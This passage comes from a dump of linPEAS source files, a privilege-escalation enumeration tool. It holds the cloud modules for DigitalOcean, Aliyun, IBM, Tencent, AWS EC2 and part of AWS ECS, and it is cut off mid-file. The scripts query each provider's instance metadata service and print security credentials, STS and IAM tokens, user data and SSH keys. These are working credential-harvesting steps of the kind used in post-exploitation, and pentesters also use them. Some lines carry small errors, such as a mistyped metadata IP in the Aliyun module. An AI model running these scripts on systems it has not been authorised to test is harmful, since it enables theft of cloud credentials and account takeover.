    "content": "# Title: Cloud - DO Droplet\n# ID: CL_DO_Droplet\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: DO Droplet Enumeration\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.005,T1580\n# Functions Used: check_do, print_2title\n# Global Variables: $is_do\n# Initial Functions: check_do\n# Generated Global Variables: $do_req, $URL\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$is_do\" = \"Yes\" ]; then\n  print_2title \"DO Droplet Enumeration\" \"T1552.005,T1580\"\n  do_req=\"\"\n  if [ \"$(command -v curl || echo -n '')\" ]; then\n      do_req='curl -s -f -L '\n  elif [ \"$(command -v wget || echo -n '')\" ]; then\n      do_req='wget -q -O - '\n  else \n      echo \"Neither curl nor wget were found, I can't enumerate the metadata service :(\"\n  fi\n\n  if [ \"$do_req\" ]; then\n    URL=\"http://169.254.169.254/metadata\"\n    printf \"Id: \"; eval $do_req \"$URL/v1/id\"; echo \"\"\n    printf \"Region: \"; eval $do_req \"$URL/v1/region\"; echo \"\"\n    printf \"Public keys: \"; eval $do_req \"$URL/v1/public-keys\"; echo \"\"\n    printf \"User data: \"; eval $do_req \"$URL/v1/user-data\"; echo \"\"\n    printf \"Dns: \"; eval $do_req \"$URL/v1/dns/nameservers\" | tr '\\n' ','; echo \"\"\n    printf \"Interfaces: \"; eval $do_req \"$URL/v1.json\" | jq \".interfaces\";\n    printf \"Floating_ip: \"; eval $do_req \"$URL/v1.json\" | jq \".floating_ip\";\n    printf \"Reserved_ip: \"; eval $do_req \"$URL/v1.json\" | jq \".reserved_ip\";\n    printf \"Tags: \"; eval $do_req \"$URL/v1.json\" | jq \".tags\";\n    printf \"Features: \"; eval $do_req \"$URL/v1.json\" | jq \".features\";\n  fi\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/3_cloud/13_Ali_Cloud.sh",
    "content": "# Title: Cloud - Ali Cloud\n# ID: CL_Ali_Cloud\n# Author: Esonhugh\n# Last Update: 22-01-2024\n# Description: Ali Cloud Platform Enumeration\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.005,T1580\n# Functions Used: print_2title, print_3title, print_info\n# Global Variables: $is_aliyun_ecs\n# Initial Functions: check_aliyun_ecs\n# Generated Global Variables: $aliyun_req, $aliyun_token, $i_hostname, $i_instance_id, $i_instance_name, $i_instance_type, $i_aliyun_owner_account, $i_region_id, $i_zone_id, $i_pub_ipv4, $i_priv_ipv4, $net_dns, $mac, $sa, $key\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\n\nif [ \"$is_aliyun_ecs\" = \"Yes\" ]; then\n  aliyun_req=\"\"\n  aliyun_token=\"\"\n  if [ \"$(command -v curl)\" ]; then \n    aliyun_token=$(curl -X PUT \"http://100.100.100.200/latest/api/token\" -H \"X-aliyun-ecs-metadata-token-ttl-seconds:1000\")\n    aliyun_req='curl -s -f -L -H \"X-aliyun-ecs-metadata-token: $aliyun_token\"'\n  elif [ \"$(command -v wget)\" ]; then\n    aliyun_token=$(wget -q -O - --method PUT \"http://100.100.100.200/latest/api/token\" --header \"X-aliyun-ecs-metadata-token-ttl-seconds:1000\")\n    aliyun_req='wget -q -O --header \"X-aliyun-ecs-metadata-token: $aliyun_token\"'\n  else \n    echo \"Neither curl nor wget were found, I can't enumerate the metadata service :(\"\n  fi\n\n  if [ \"$aliyun_token\" ]; then\n    print_2title \"Aliyun ECS Enumeration\" \"T1552.005,T1580\"\n    print_info \"https://help.aliyun.com/zh/ecs/user-guide/view-instance-metadata\"\n\n    echo \"\"\n    print_3title \"Instance Info\" \"T1552.005,T1580\"\n    i_hostname=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/hostname)\n    [ \"$i_hostname\" ] && echo \"Hostname: $i_hostname\"\n    i_instance_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance-id)\n    [ \"$i_instance_id\" ] && echo \"Instance ID: $i_instance_id\"\n    # no dup of hostname if in ACK it possibly leaks aliyun cluster service ClusterId\n    i_instance_name=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-name)\n    [ \"$i_instance_name\" ] && echo \"Instance Name: $i_instance_name\"\n    i_instance_type=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-type)\n    [ \"$i_instance_type\" ] && echo \"Instance Type: $i_instance_type\"\n    i_aliyun_owner_account=$(eval $aliyun_req http://i00.100.100.200/latest/meta-data/owner-account-id)\n    [ \"$i_aliyun_owner_account\" ] && echo \"Aliyun Owner Account: $i_aliyun_owner_account\"\n    i_region_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/region-id)\n    [ \"$i_region_id\" ] && echo \"Region ID: $i_region_id\"\n    i_zone_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/zone-id)\n    [ \"$i_zone_id\" ] && echo \"Zone ID: $i_zone_id\"\n\n    echo \"\"\n    print_3title \"Network Info\" \"T1552.005,T1580\"\n    i_pub_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/public-ipv4)\n    [ \"$i_pub_ipv4\" ] && echo \"Public IPv4: $i_pub_ipv4\"\n    i_priv_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/private-ipv4)\n    [ \"$i_priv_ipv4\" ] && echo \"Private IPv4: $i_priv_ipv4\"\n    net_dns=$(eval $aliyun_req  http://100.100.100.200/latest/meta-data/dns-conf/nameservers)\n    [ \"$net_dns\" ] && echo \"DNS: $net_dns\"\n    \n    echo \"========\"\n    for mac in $(eval $aliyun_req  http://100.100.100.200/latest/meta-data/network/interfaces/macs/); do\n      echo \"  Mac: $mac\"\n      echo \"  Mac interface id: \"$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/network-interface-id)\n      echo \"  Mac netmask: \"$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/netmask)\n      echo \"  Mac vpc id: \"$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-id)\n      echo \"  Mac vpc cidr: \"$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-cidr-block)\n      echo \"  Mac vpc cidr (v6): \"$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-ipv6-cidr-blocks)\n      echo \"  Mac vswitch id: \"$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-id)\n      echo \"  Mac vswitch cidr: \"$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-cidr-block)\n      echo \"  Mac vswitch cidr (v6): \"$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-ipv6-cidr-block)\n      echo \"  Mac private ips: \"$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/private-ipv4s)\n      echo \"  Mac private ips (v6): \"$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6s)\n      echo \"  Mac gateway: \"$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/gateway)\n      echo \"  Mac gateway (v6): \"$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6-gateway)\n      echo \"=======\"\n    done\n\n    echo \"\"\n    print_3title \"Service account \" \"T1552.005,T1580\"\n    for sa in $(eval $aliyun_req \"http://100.100.100.200/latest/meta-data/ram/security-credentials/\"); do \n      echo \"  Name: $sa\"\n      echo \"  STS Token: \"$(eval $aliyun_req \"http://100.100.100.200/latest/meta-data/ram/security-credentials/$sa\")\n      echo \"  ==============\"\n    done\n\n    echo \"\"\n    print_3title \"Possbile admin ssh Public keys\" \"T1552.005,T1580\"\n    for key in $(eval $aliyun_req \"http://100.100.100.200/latest/meta-data/public-keys/\"); do\n      echo \"  Name: $key\"\n      echo \"  Key: \"$(eval $aliyun_req \"http://100.100.100.200/latest/meta-data/public-keys/${key}openssh-key\")\n      echo \"  ==============\"\n    done\n\n\n  fi\nfi\n\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/3_cloud/14_IBM_Cloud.sh",
    "content": "# Title: Cloud - IBM Cloud\n# ID: CL_IBM_Cloud\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: IBM Cloud Enumeration\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.005,T1580\n# Functions Used: check_ibm_vm, print_2title, print_3title\n# Global Variables: $IBM_TOKEN, $is_ibm_vm\n# Initial Functions: check_ibm_vm\n# Generated Global Variables: $TOKEN_HEADER, $ACCEPT_HEADER, $URL, $ibm_req\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$is_ibm_vm\" = \"Yes\" ]; then\n  print_2title \"IBM Cloud Enumeration\" \"T1552.005,T1580\"\n  if ! [ \"$IBM_TOKEN\" ]; then\n    echo \"Couldn't get the metadata token:(\"\n\n  else\n    TOKEN_HEADER=\"Authorization: Bearer $IBM_TOKEN\"\n    ACCEPT_HEADER=\"Accept: application/json\"\n    URL=\"http://169.254.169.254/latest/meta-data\"\n    \n    ibm_req=\"\"\n    if [ \"$(command -v curl || echo -n '')\" ]; then\n        ibm_req=\"curl -s -f -L -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'\"\n    elif [ \"$(command -v wget || echo -n '')\" ]; then\n        ibm_req=\"wget -q -O - --header '$TOKEN_HEADER' -H '$ACCEPT_HEADER'\"\n    else \n        echo \"Neither curl nor wget were found, I can't enumerate the metadata service :(\"\n    fi\n\n    if [ \"$ibm_req\" ]; then\n      print_3title \"Instance Details\" \"T1552.005,T1580\"\n      exec_with_jq eval $ibm_req \"http://169.254.169.254/metadata/v1/instance?version=2022-03-01\"\n\n      print_3title \"Keys and User data\" \"T1552.005,T1580\"\n      exec_with_jq eval $ibm_req \"http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01\"\n      exec_with_jq eval $ibm_req \"http://169.254.169.254/metadata/v1/keys?version=2022-03-01\"\n\n      print_3title \"Placement Groups\" \"T1552.005,T1580\"\n      exec_with_jq eval $ibm_req \"http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01\"\n\n      print_3title \"IAM credentials\" \"T1552.005,T1580\"\n      exec_with_jq eval $ibm_req -X POST \"http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01\"\n    fi\n  fi\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/3_cloud/15_Tencent_Cloud.sh",
    "content": "# Title: Cloud - Tencent Cloud\n# ID: CL_Tencent_Cloud\n# Author: Shadowabi\n# Last Update: 22-01-2024\n# Description: Tencent Cloud Platform Enumeration\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.005,T1580\n# Functions Used: print_2title, print_3title, print_info\n# Global Variables: $is_tencent_cvm\n# Initial Functions: check_tencent_cvm\n# Generated Global Variables: $tencent_req, $i_tencent_owner_account, $i_hostname, $i_instance_id, $i_instance_name, $i_instance_type, $i_region_id, $i_zone_id, $mac_tencent, $lipv4, $sa_tencent, $key_tencent\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$is_tencent_cvm\" = \"Yes\" ]; then\n  tencent_req=\"\"\n  if [ \"$(command -v curl)\" ]; then \n    tencent_req='curl --connect-timeout 2 -sfkG'\n  elif [ \"$(command -v wget)\" ]; then\n    tencent_req='wget -q --timeout 2 --tries 1  -O -'\n  else \n    echo \"Neither curl nor wget were found, I can't enumerate the metadata service :(\"\n  fi\n\n  \n    print_2title \"Tencent CVM Enumeration\" \"T1552.005,T1580\"\n    print_info \"https://cloud.tencent.com/document/product/213/4934\"\n    # Todo: print_info \"Hacktricks Documents needs to be updated\"\n\n    echo \"\"\n    print_3title \"Instance Info\" \"T1552.005,T1580\"\n    i_tencent_owner_account=$(eval $tencent_req http://169.254.0.23/latest/meta-data/app-id)\n    [ \"$i_tencent_owner_account\" ] && echo \"Tencent Owner Account: $i_tencent_owner_account\"\n    i_hostname=$(eval $tencent_req http://169.254.0.23/latest/meta-data/hostname)\n    [ \"$i_hostname\" ] && echo \"Hostname: $i_hostname\"\n    i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-id)\n    [ \"$i_instance_id\" ] && echo \"Instance ID: $i_instance_id\"\n    i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/uuid)\n    [ \"$i_instance_id\" ] && echo \"Instance ID: $i_instance_id\"\n    i_instance_name=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-name)\n    [ \"$i_instance_name\" ] && echo \"Instance Name: $i_instance_name\"\n    i_instance_type=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance/instance-type)\n    [ \"$i_instance_type\" ] && echo \"Instance Type: $i_instance_type\"\n    i_region_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/region)\n    [ \"$i_region_id\" ] && echo \"Region ID: $i_region_id\"\n    i_zone_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/zone)\n    [ \"$i_zone_id\" ] && echo \"Zone ID: $i_zone_id\"\n\n    echo \"\"\n    print_3title \"Network Info\" \"T1552.005,T1580\"\n    for mac_tencent in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/); do\n      echo \"  Mac: $mac_tencent\"\n      echo \"  Primary IPv4: \"$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/primary-local-ipv4)\n      echo \"  Mac public ips: \"$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/public-ipv4s)\n      echo \"  Mac vpc id: \"$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/vpc-id)\n      echo \"  Mac subnet id: \"$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/subnet-id)\n      \n      for lipv4 in $(eval $tencent_req  http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s); do\n        echo \"  Mac local ips: \"$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/local-ipv4)\n        echo \"  Mac gateways: \"$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/gateway)\n        echo \"  Mac public ips: \"$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/public-ipv4)\n        echo \"  Mac public ips mode: \"$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/public-ipv4-mode)\n        echo \"  Mac subnet mask: \"$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/subnet-mask)\n      done\n    echo \"=======\"\n    done\n\n    echo \"\"\n    print_3title \"Service account \" \"T1552.005,T1580\"\n    for sa_tencent in $(eval $tencent_req \"http://169.254.0.23/latest/meta-data/cam/security-credentials/\"); do \n      echo \"  Name: $sa_tencent\"\n      echo \"  STS Token: \"$(eval $tencent_req \"http://169.254.0.23/latest/meta-data/cam/security-credentials/$sa_tencent\")\n      echo \"  ==============\"\n    done\n\n    echo \"\"\n    print_3title \"Possbile admin ssh Public keys\" \"T1552.005,T1580\"\n    for key_tencent in $(eval $tencent_req \"http://169.254.0.23/latest/meta-data/public-keys/\"); do\n      echo \"  Name: $key_tencent\"\n      echo \"  Key: \"$(eval $tencent_req \"http://169.254.0.23/latest/meta-data/public-keys/${key_tencent}openssh-key\")\n      echo \"  ==============\"\n    done\n\n    echo \"\"\n    print_3title \"User Data\" \"T1552.005,T1580\"\n    eval $tencent_req http://169.254.0.23/latest/user-data; echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/3_cloud/1_Check_if_in_cloud.sh",
    "content": "# Title: Cloud - Check if in cloud\n# ID: CL_Check_if_in_cloud\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the current system is inside a cloud environment\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1580\n# Functions Used: check_aws_codebuild, check_aws_ec2, check_aws_ecs, check_aws_lambda, check_az_app, check_az_vm, check_az_automation_acc, check_do, check_gcp, check_ibm_vm, check_tencent_cvm, print_list\n# Global Variables: $is_aws_codebuild, $is_aws_ecs, $is_aws_ec2, , $is_aws_lambda, $is_az_app, $is_az_automation_acc, $is_az_vm, $is_do, $is_gcp_vm, $is_gcp_function, $is_ibm_vm, $is_aws_ec2_beanstalk, $is_aliyun_ecs, $is_tencent_cvm\n# Initial Functions: check_gcp, check_aws_ecs, check_aws_ec2, check_aws_lambda, check_aws_codebuild, check_do, check_ibm_vm, check_az_vm, check_az_app, check_az_automation_acc, check_aliyun_ecs, check_tencent_cvm\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprintf \"${YELLOW}Learn and practice cloud hacking techniques in ${BLUE}https://training.hacktricks.xyz\\n\"$NC\necho \"\"\n\nprint_list \"GCP Virtual Machine? ................. $is_gcp_vm\\n\"$NC | sed \"s,Yes,${SED_RED},\" | sed \"s,No,${SED_GREEN},\"\nprint_list \"GCP Cloud Funtion? ................... $is_gcp_function\\n\"$NC | sed \"s,Yes,${SED_RED},\" | sed \"s,No,${SED_GREEN},\"\nprint_list \"AWS ECS? ............................. $is_aws_ecs\\n\"$NC | sed \"s,Yes,${SED_RED},\" | sed \"s,No,${SED_GREEN},\"\nprint_list \"AWS EC2? ............................. $is_aws_ec2\\n\"$NC | sed \"s,Yes,${SED_RED},\" | sed \"s,No,${SED_GREEN},\"\nprint_list \"AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\\n\"$NC | sed \"s,Yes,${SED_RED},\" | sed \"s,No,${SED_GREEN},\"\nprint_list \"AWS Lambda? .......................... $is_aws_lambda\\n\"$NC | sed \"s,Yes,${SED_RED},\" | sed \"s,No,${SED_GREEN},\"\nprint_list \"AWS Codebuild? ....................... $is_aws_codebuild\\n\"$NC | sed \"s,Yes,${SED_RED},\" | sed \"s,No,${SED_GREEN},\"\nprint_list \"DO Droplet? .......................... $is_do\\n\"$NC | sed \"s,Yes,${SED_RED},\" | sed \"s,No,${SED_GREEN},\"\nprint_list \"IBM Cloud VM? ........................ $is_ibm_vm\\n\"$NC | sed \"s,Yes,${SED_RED},\" | sed \"s,No,${SED_GREEN},\"\nprint_list \"Azure VM or Az metadata? ............. $is_az_vm\\n\"$NC | sed \"s,Yes,${SED_RED},\" | sed \"s,No,${SED_GREEN},\"\nprint_list \"Azure APP or IDENTITY_ENDPOINT? ...... $is_az_app\\n\"$NC | sed \"s,Yes,${SED_RED},\" | sed \"s,No,${SED_GREEN},\"\nprint_list \"Azure Automation Account? ............ $is_az_automation_acc\\n\"$NC | sed \"s,Yes,${SED_RED},\" | sed \"s,No,${SED_GREEN},\"\nprint_list \"Aliyun ECS? .......................... $is_aliyun_ecs\\n\"$NC | sed \"s,Yes,${SED_RED},\" | sed \"s,No,${SED_GREEN},\"\nprint_list \"Tencent CVM? ......................... $is_tencent_cvm\\n\"$NC | sed \"s,Yes,${SED_RED},\" | sed \"s,No,${SED_GREEN},\"\n\necho \"\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/3_cloud/2_AWS_EC2.sh",
    "content": "# Title: Cloud - AWS EC2\n# ID: CL_AWS_EC2\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: AWS EC2 Enumeration\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.005,T1580\n# Functions Used: check_aws_ec2, exec_with_jq, print_2title, print_3title\n# Global Variables: $is_aws_ec2\n# Initial Functions: check_aws_ec2\n# Generated Global Variables: $aws_req, $HEADER, $URL, $mac, $role, $TOKEN, $TOKEN_HEADER, $TOKEN_TTL\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$is_aws_ec2\" = \"Yes\" ]; then\n    print_2title \"AWS EC2 Enumeration\" \"T1552.005,T1580\"\n    TOKEN=\"\"\n    TOKEN_HEADER=\"X-aws-ec2-metadata-token\"\n    TOKEN_TTL=\"X-aws-ec2-metadata-token-ttl-seconds: 21600\"\n    URL=\"http://169.254.169.254/latest/meta-data\"\n    \n    aws_req=\"\"\n    if [ \"$(command -v curl || echo -n '')\" ]; then\n        # Get token for IMDSv2\n        TOKEN=$(curl -s -f -X PUT \"http://169.254.169.254/latest/api/token\" -H \"$TOKEN_TTL\" 2>/dev/null)\n        aws_req=\"curl -s -f -L -H '$TOKEN_HEADER: $TOKEN'\"\n    elif [ \"$(command -v wget || echo -n '')\" ]; then\n        # Get token for IMDSv2\n        TOKEN=$(wget -q -O - --method=PUT --header=\"$TOKEN_TTL\" \"http://169.254.169.254/latest/api/token\" 2>/dev/null)\n        aws_req=\"wget -q -O - --header '$TOKEN_HEADER: $TOKEN'\"\n    else \n        echo \"Neither curl nor wget were found, I can't enumerate the metadata service :(\"\n    fi\n  \n    if [ \"$aws_req\" ]; then\n        printf \"ami-id: \"; eval $aws_req \"$URL/ami-id\"; echo \"\"\n        printf \"instance-action: \"; eval $aws_req \"$URL/instance-action\"; echo \"\"\n        printf \"instance-id: \"; eval $aws_req \"$URL/instance-id\"; echo \"\"\n        printf \"instance-life-cycle: \"; eval $aws_req \"$URL/instance-life-cycle\"; echo \"\"\n        printf \"instance-type: \"; eval $aws_req \"$URL/instance-type\"; echo \"\"\n        printf \"region: \"; eval $aws_req \"$URL/placement/region\"; echo \"\"\n\n        echo \"\"\n        print_3title \"Account Info\" \"T1552.005,T1580\"\n        exec_with_jq eval $aws_req \"$URL/identity-credentials/ec2/info\"; echo \"\"\n\n        echo \"\"\n        print_3title \"Network Info\" \"T1552.005,T1580\"\n        for mac in $(eval $aws_req \"$URL/network/interfaces/macs/\" 2>/dev/null); do \n          echo \"Mac: $mac\"\n          printf \"Owner ID: \"; eval $aws_req \"$URL/network/interfaces/macs/$mac/owner-id\"; echo \"\"\n          printf \"Public Hostname: \"; eval $aws_req \"$URL/network/interfaces/macs/$mac/public-hostname\"; echo \"\"\n          printf \"Security Groups: \"; eval $aws_req \"$URL/network/interfaces/macs/$mac/security-groups\"; echo \"\"\n          echo \"Private IPv4s:\"; eval $aws_req \"$URL/network/interfaces/macs/$mac/ipv4-associations/\"; echo \"\"\n          printf \"Subnet IPv4: \"; eval $aws_req \"$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block\"; echo \"\"\n          echo \"PrivateIPv6s:\"; eval $aws_req \"$URL/network/interfaces/macs/$mac/ipv6s\"; echo \"\"\n          printf \"Subnet IPv6: \"; eval $aws_req \"$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks\"; echo \"\"\n          echo \"Public IPv4s:\"; eval $aws_req \"$URL/network/interfaces/macs/$mac/public-ipv4s\"; echo \"\"\n          echo \"\"\n        done\n\n        echo \"\"\n        print_3title \"IAM Role\" \"T1552.005,T1580\"\n        exec_with_jq eval $aws_req \"$URL/iam/info\"; echo \"\"\n        for role in $(eval $aws_req \"$URL/iam/security-credentials/\" 2>/dev/null); do \n          echo \"Role: $role\"\n          exec_with_jq eval $aws_req \"$URL/iam/security-credentials/$role\"; echo \"\"\n          echo \"\"\n        done\n        \n        echo \"\"\n        print_3title \"User Data\" \"T1552.005,T1580\"\n        eval $aws_req \"http://169.254.169.254/latest/user-data\"; echo \"\"\n        \n        echo \"\"\n        print_3title \"EC2 Security Credentials\" \"T1552.005,T1580\"\n        exec_with_jq eval $aws_req \"$URL/identity-credentials/ec2/security-credentials/ec2-instance\"; echo \"\"\n        \n        print_3title \"SSM Runnig\" \"T1552.005,T1580\"\n        ps aux 2>/dev/null | grep \"ssm-agent\" | grep -Ev \"grep|sed s,ssm-agent\" | sed \"s,ssm-agent,${SED_RED},\"\n    fi\n    echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/3_cloud/3_AWS_ECS.sh",
    "content": "# Title: Cloud - AWS ECS\n# ID: CL_AWS_ECS\n# Author: Carlos Polop\n# Last Update: 17-01-2026\n# Description: AWS ECS Enumeration\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.005,T1580\n# Functions Used: check_aws_ecs, exec_with_jq, print_2title, print_3title\n# Global Variables: $aws_ecs_metadata_uri, $aws_ecs_service_account_uri, $is_aws_ecs\n# Initial Functions: check_aws_ecs\n# Generated Global Variables: $aws_ecs_req, $aws_exec_env, $ecs_task_metadata, $launch_type, $network_modes, $imds_tool, $imds_token, $imds_roles, $imds_http_code, $ecs_block_line, $ecs_host_line, $iptables_cmd, $docker_rules, $first_role\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$is_aws_ecs\" = \"Yes\" ]; then\n    print_2title \"AWS ECS Enumeration\" \"T1552.005,T1580\"\n    aws_ecs_req=\"\"\n    if [ \"$(command -v curl || echo -n '')\" ]; then\n        aws_ecs_req='curl -s -f'\n    elif [ \"$(command -v wget || echo -n '')\" ]; then\n        aws_ecs_req='wget -q -O -'\n    else \n        echo \"Neither curl nor wget were found, I can't enumerate the metadata service :(\"\n    fi\n\n    if [ \"$aws_ecs_metadata_uri\" ]; then\n        print_3title \"Container Info\" \"T1552.005,T1580\"\n        exec_with_jq eval $aws_ecs_req \"$aws_ecs_metadata_uri\"\n        echo \"\"\n        \n        print_3title \"Task Info\" \"T1552.005,T1580\"\n        exec_with_jq eval $aws_ecs_req \"$aws_ecs_metadata_uri/task\"\n        echo \"\"\n    else\n        echo \"I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info\"\n    fi\n\n    if [ \"$aws_ecs_service_account_uri\" ]; then\n        print_3title \"IAM Role\" \"T1552.005,T1580\"\n        exec_with_jq eval $aws_ecs_req \"$aws_ecs_service_account_uri\"\n        echo \"\"\n    else\n        echo \"I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)\"\n    fi\n\n    print_3title \"ECS task metadata hints\" \"T1552.005,T1580\"\n    aws_exec_env=$(printenv AWS_EXECUTION_ENV 2>/dev/null)\n    if [ \"$aws_exec_env\" ]; then\n        printf \"AWS_EXECUTION_ENV=%s\\n\" \"$aws_exec_env\"\n    fi\n\n    ecs_task_metadata=\"\"\n    if [ \"$aws_ecs_metadata_uri\" ]; then\n        ecs_task_metadata=$(eval $aws_ecs_req \"$aws_ecs_metadata_uri/task\" 2>/dev/null)\n    fi\n\n    if [ \"$ecs_task_metadata\" ]; then\n        launch_type=$(printf \"%s\" \"$ecs_task_metadata\" | grep -oE '\"LaunchType\":\"[^\"]+\"' | head -n 1 | cut -d '\"' -f4)\n        if [ \"$launch_type\" ]; then\n            printf \"ECS LaunchType reported: %s\\n\" \"$launch_type\"\n        fi\n        network_modes=$(printf \"%s\" \"$ecs_task_metadata\" | grep -oE '\"NetworkMode\":\"[^\"]+\"' | cut -d '\"' -f4 | sort -u | tr '\\n' ' ')\n        if [ \"$network_modes\" ]; then\n            printf \"Reported NetworkMode(s): %s\\n\" \"$network_modes\"\n        fi\n    else\n        echo \"Unable to fetch task metadata (check ECS_CONTAINER_METADATA_URI).\"\n    fi\n    echo \"\"\n\n    print_3title \"IMDS reachability from this task\" \"T1552.005,T1580\"\n    imds_token=\"\"\n    imds_roles=\"\"\n    imds_http_code=\"\"\n    imds_tool=\"\"\n\n    if command -v curl >/dev/null 2>&1; then\n        imds_tool=\"curl\"\n    elif command -v wget >/dev/null 2>&1; then\n        imds_tool=\"wget\"\n    fi\n\n    if [ \"$imds_tool\" = \"curl\" ]; then\n        imds_token=$(curl -s --connect-timeout 2 --max-time 2 -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\" 2>/dev/null)\n        if [ \"$imds_token\" ]; then\n            printf \"[!] IMDSv2 token request succeeded (metadata reachable from this task).\\n\"\n            imds_roles=$(curl -s --connect-timeout 2 --max-time 2 -H \"X-aws-ec2-metadata-token: $imds_token\" \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" 2>/dev/null | tr '\\n' ' ')\n            if [ \"$imds_roles\" ]; then\n                printf \"    Instance profile role(s) exposed via IMDS: %s\\n\" \"$imds_roles\"\n                first_role=$(printf \"%s\" \"$imds_roles\" | awk '{print $1}')\n                if [ \"$first_role\" ]; then\n                    printf \"    Example: curl -H 'X-aws-ec2-metadata-token: <TOKEN>' http://169.254.169.254/latest/meta-data/iam/security-credentials/%s\\n\" \"$first_role\"\n                fi\n            else\n                printf \"    No IAM role names returned (instance profile might be missing).\\n\"\n            fi\n        else\n            imds_http_code=$(curl -s -o /dev/null -w \"%{http_code}\" --connect-timeout 2 --max-time 2 \"http://169.254.169.254/latest/meta-data/\" 2>/dev/null)\n            case \"$imds_http_code\" in\n                000|\"\")\n                    printf \"[i] IMDS endpoint did not respond (likely blocked via hop-limit or host firewalling).\\n\"\n                    ;;\n                401)\n                    printf \"[i] IMDS requires v2 tokens but token requests are being blocked (bridge-mode tasks rely on this when hop limit = 1).\\n\"\n                    ;;\n                *)\n                    printf \"[i] IMDS GET returned HTTP %s (investigate host configuration).\\n\" \"$imds_http_code\"\n                    ;;\n            esac\n        fi\n    elif [ \"$imds_tool\" = \"wget\" ]; then\n        imds_token=$(wget -q -O - --timeout=2 --tries=1 --method=PUT --header=\"X-aws-ec2-metadata-token-ttl-seconds: 21600\" \"http://169.254.169.254/latest/api/token\" 2>/dev/null)\n        if [ \"$imds_token\" ]; then\n            printf \"[!] IMDSv2 token request succeeded (metadata reachable from this task).\\n\"\n            